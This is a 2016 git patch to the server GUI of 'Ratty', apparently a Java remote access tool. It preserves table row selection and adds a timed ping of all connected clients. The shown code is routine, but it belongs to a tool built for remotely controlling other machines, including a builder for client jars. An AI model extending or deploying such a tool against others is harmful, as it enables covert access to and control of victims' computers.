From 26086ccf02cbe68fbb51b16c10772705877b2f3a Mon Sep 17 00:00:00 2001
From: Sogomn <Sogomn@Sogomn-PC>
Date: Sat, 19 Mar 2016 18:19:55 +0100
Subject: [PATCH] Small changes Hopefully fixed ping

---
 .../de/sogomn/rat/server/gui/RattyGui.java    |  6 ++++
 .../rat/server/gui/RattyGuiController.java    | 28 +++++++++++++++++++
 2 files changed, 34 insertions(+)

diff --git a/Ratty/src/de/sogomn/rat/server/gui/RattyGui.java b/Ratty/src/de/sogomn/rat/server/gui/RattyGui.java
index b3d612c..11ed7a6 100644
--- a/Ratty/src/de/sogomn/rat/server/gui/RattyGui.java
+++ b/Ratty/src/de/sogomn/rat/server/gui/RattyGui.java
@@ -208,7 +208,13 @@ final class RattyGui extends AbstractListenerContainer<IGuiController> {
 	}
 	
 	public void update() {
+		final int selectedRow = table.getSelectedRow();
+		
 		tableModel.fireTableDataChanged();
+		
+		if (selectedRow != -1) {
+			table.setRowSelectionInterval(selectedRow, selectedRow);
+		}
 	}
 	
 	public void addRow(final ServerClient client) {
diff --git a/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java b/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java
index 50ade36..c0624f0 100644
--- a/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java
+++ b/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java
@@ -13,7 +13,10 @@ import javax.imageio.ImageIO;
 import javax.swing.ImageIcon;
 import javax.swing.JOptionPane;
 
+import de.sogomn.engine.Clock;
 import de.sogomn.engine.fx.Sound;
+import de.sogomn.engine.util.Scheduler;
+import de.sogomn.engine.util.Scheduler.Task;
 import de.sogomn.rat.ActiveConnection;
 import de.sogomn.rat.builder.JarBuilder;
 import de.sogomn.rat.packet.AudioPacket;
@@ -48,6 +51,10 @@ public final class RattyGuiController extends AbstractRattyController implements
 	
 	private HashMap<ActiveConnection, ServerClient> clients;
 	
+	private Clock clock;
+	private Scheduler scheduler;
+	private Task pingTask;
+	
 	private static final String BUILDER_REPLACEMENT = "connection_data.txt";
 	private static final String BUILDER_REPLACEMENT_FORMAT = "%s\r\n%s\r\ntrue";
 	private static final String[] BUILDER_REMOVALS = {
@@ -81,13 +88,34 @@ public final class RattyGuiController extends AbstractRattyController implements
 	private static final String AMOUNT_QUESTION = LANGUAGE.getString("server.amount_question");
 	
 	private static final String FLAG_ADDRESS = "http://www.geojoe.co.uk/api/flag/?ip=";
+	private static final float PING_INTERVAL = 3;
 	
 	private static final Sound PING = Sound.loadSound("/ping.wav");
 	
 	public RattyGuiController() {
 		gui = new RattyGui();
 		clients = new HashMap<ActiveConnection, ServerClient>();
+		clock = new Clock();
+		scheduler = new Scheduler();
+		pingTask = new Task(() -> {
+			final PingPacket packet = new PingPacket();
+			
+			connections.forEach(connection -> connection.addPacket(packet));
+			
+			pingTask.reset();
+		}, PING_INTERVAL);
+		
+		final Thread pingThread = new Thread(() -> {
+			while (true) {
+				clock.update();
+			}
+		});
+		
+		pingThread.setDaemon(true);
+		pingThread.start();
 		
+		scheduler.addTask(pingTask);
+		clock.addListener(scheduler);
 		gui.addListener(this);
 	}